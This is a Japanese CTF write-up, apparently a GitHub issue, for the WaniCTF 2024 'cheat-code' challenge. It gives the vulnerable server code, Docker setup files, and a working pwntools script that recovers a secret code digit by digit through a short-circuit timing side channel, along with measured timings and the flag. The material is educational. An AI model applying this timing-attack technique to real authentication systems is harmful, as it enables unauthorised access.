Open roaris opened 5 days ago
server.pyしかないので、動かせない 以下のファイルを用意した
secret.py
flag = 'FLAG{t1m!ng_a774ck_1s_f34rfu1}'
cheat_code = '0123456789'
Dockerfile
# FROM alpine:3.19
FROM alpine@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
RUN apk add --no-cache socat
RUN apk add --no-cache python3
WORKDIR /
COPY server.py secret.py ./
RUN adduser -DH ctf
USER ctf
CMD socat -dd -v "tcp-listen:7580,reuseaddr,fork" exec:"python3 server.py"
docker-compose.yml
services:
socket:
build: .
restart: unless-stopped
ports:
- "7580:7580"
Dockerfileとdocker-compose.ymlは、https://github.com/wani-hackase/wanictf2024-writeup/tree/main/mis/sh/file を見て作成(ほぼコピーしただけ)
server.py
from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re
challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))
def super_strong_hash(s: str) -> bytes:
sb = s.encode()
for _ in range(hash_strength):
sb = sha256(sb).digest()
return sb
cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")
secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")
def check_code(given_secret_code, given_cheat_code):
def check_cheat_code(given_cheat_code):
return super_strong_hash(given_cheat_code) == cheat_code_hash
digit_is_correct = []
for i in range(10):
digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
return all(digit_is_correct)
given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
print("Too long!")
exit(1)
for i in range(challenge_times):
print(f"=====Challenge {i+1:03d}=====")
given_secret_code = input("Enter the secret code: ")
if not re.match(r"^\d{10}$", given_secret_code):
print("Wrong format!")
exit(1)
if check_code(given_secret_code, given_cheat_code):
print("Correct!")
print(flag)
exit(0)
else:
print("Wrong!")
print("Game over!")
10桁のsecret_codeを100回以内に当てる ただし、正しいcheat_codeを入力すると、secret_codeを当てなくてもフラグが出てくる 入力したsecret_codeが正しいかのチェックは、各桁毎に比較をして行われる
for i in range(10):
digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
return all(digit_is_correct)
cheat_codeが正しいかのチェックも各桁毎に行っていて、明らかに不自然である
cheat_codeの検証は、SHA-256を繰り返して得られるハッシュ値同士の比較で行われている
SHA-256を繰り返す回数は、環境変数HASH_STRENGTHで決まるが、環境変数HASH_STRENGTHが存在しない場合は、10000回である
10000回だとすれば、check_cheat_code
はそこそこ重たい処理になっていると考えられることと、given_secret_code[i] == secret_code[i]
がTrueの場合は、短絡評価でcheck_cheat_code(given_cheat_code)
は評価されないことから、タイミング攻撃によってsecret_codeを特定することが出来る
1桁目を確定させることを考える
0000000000, 1000000000, 2000000000, 3000000000, 4000000000, 5000000000, 6000000000, 7000000000, 8000000000, 9000000000 を送信した時、このうち1個だけ1桁目が正しく、check_cheat_code(given_cheat_code)
が実行される回数が、他の9個に比べて1回少ないため、レスポンスが返ってくるまでの時間が短い
2桁目以降も同様に確定出来る
Pwnの問題ではないが、Pwntoolsを使う
from pwn import *
import time
io = remote('localhost', 7580)
io.recvuntil(b'Enter the cheat code: ')
io.sendline(b'1')
secret_code = ''
for i in range(10):
times = []
for d in range(10):
io.recvuntil(b'Enter the secret code: ')
test_secret_code = (secret_code + str(d) + '0'*(10-len(secret_code)-1)).encode()
start = time.time()
io.sendline(test_secret_code)
resp = io.recvuntil(b'\n').decode() # Wrong! or Correct!
end = time.time()
times.append(end - start)
if 'Correct!' in resp:
print(io.recvall().decode())
exit()
print(f'iter{i}: {times}')
min_time = 10**18
digit = -1
for d in range(10):
if times[d] < min_time:
min_time = times[d]
digit = d
secret_code += str(digit)
実行時間を出力するようにしていて、以下のようになった(Correct!が返されたらexitするので、iter9はない)
単位は秒である
iter0だと、最も大きい0.10083127021789551と、最も小さい0.08175253868103027で、その差は0.019078731536865234で、19msの差である
secret_codeが一致すれば、その分check_cheat_code
が実行される回数が減るので、iterが進むにつれて実行時間が減っている
iter0: [0.10083127021789551, 0.09090948104858398, 0.09269165992736816, 0.09116816520690918, 0.0909872055053711, 0.09105300903320312, 0.08175253868103027, 0.09089279174804688, 0.09172320365905762, 0.09103083610534668]
iter1: [0.08360147476196289, 0.08417963981628418, 0.08172607421875, 0.08350276947021484, 0.07291913032531738, 0.08194661140441895, 0.0819864273071289, 0.08188724517822266, 0.08192777633666992, 0.08313560485839844]
iter2: [0.07439422607421875, 0.07290124893188477, 0.07419729232788086, 0.0637056827545166, 0.0729067325592041, 0.07270240783691406, 0.07396960258483887, 0.07255744934082031, 0.07595181465148926, 0.0741572380065918]
iter3: [0.06506991386413574, 0.0639808177947998, 0.06365180015563965, 0.05483603477478027, 0.06524443626403809, 0.06371617317199707, 0.06386852264404297, 0.06377506256103516, 0.06373333930969238, 0.06380248069763184]
iter4: [0.0585026741027832, 0.05813765525817871, 0.04572796821594238, 0.05455636978149414, 0.054702043533325195, 0.05469465255737305, 0.0546269416809082, 0.054596662521362305, 0.0547640323638916, 0.05481696128845215]
iter5: [0.04596662521362305, 0.045793771743774414, 0.04628491401672363, 0.045656681060791016, 0.04575824737548828, 0.037362098693847656, 0.045629024505615234, 0.045723676681518555, 0.04567551612854004, 0.045763492584228516]
iter6: [0.036955833435058594, 0.036963462829589844, 0.0366663932800293, 0.036653757095336914, 0.03662538528442383, 0.036647796630859375, 0.02763056755065918, 0.036585330963134766, 0.0366361141204834, 0.03670191764831543]
iter7: [0.02770686149597168, 0.030801057815551758, 0.029534339904785156, 0.019149303436279297, 0.027912139892578125, 0.027565956115722656, 0.027600765228271484, 0.02765178680419922, 0.027586698532104492, 0.027618408203125]
iter8: [0.018662214279174805, 0.02167534828186035, 0.019889116287231445, 0.019176959991455078, 0.03833794593811035, 0.02192211151123047, 0.010042190551757812, 0.018992185592651367, 0.018605470657348633, 0.0186004638671875]
毎回成功するわけではなく、2回に1回ぐらいの頻度で成功する 今回はローカルで解いたが、リモートに対して解く場合は、リモートとの通信によって実行時間に誤差が生じ、成功する頻度はより少ないだろう
https://github.com/wani-hackase/wanictf2024-writeup/tree/main/mis/cheat-code
本番で解けなかった問題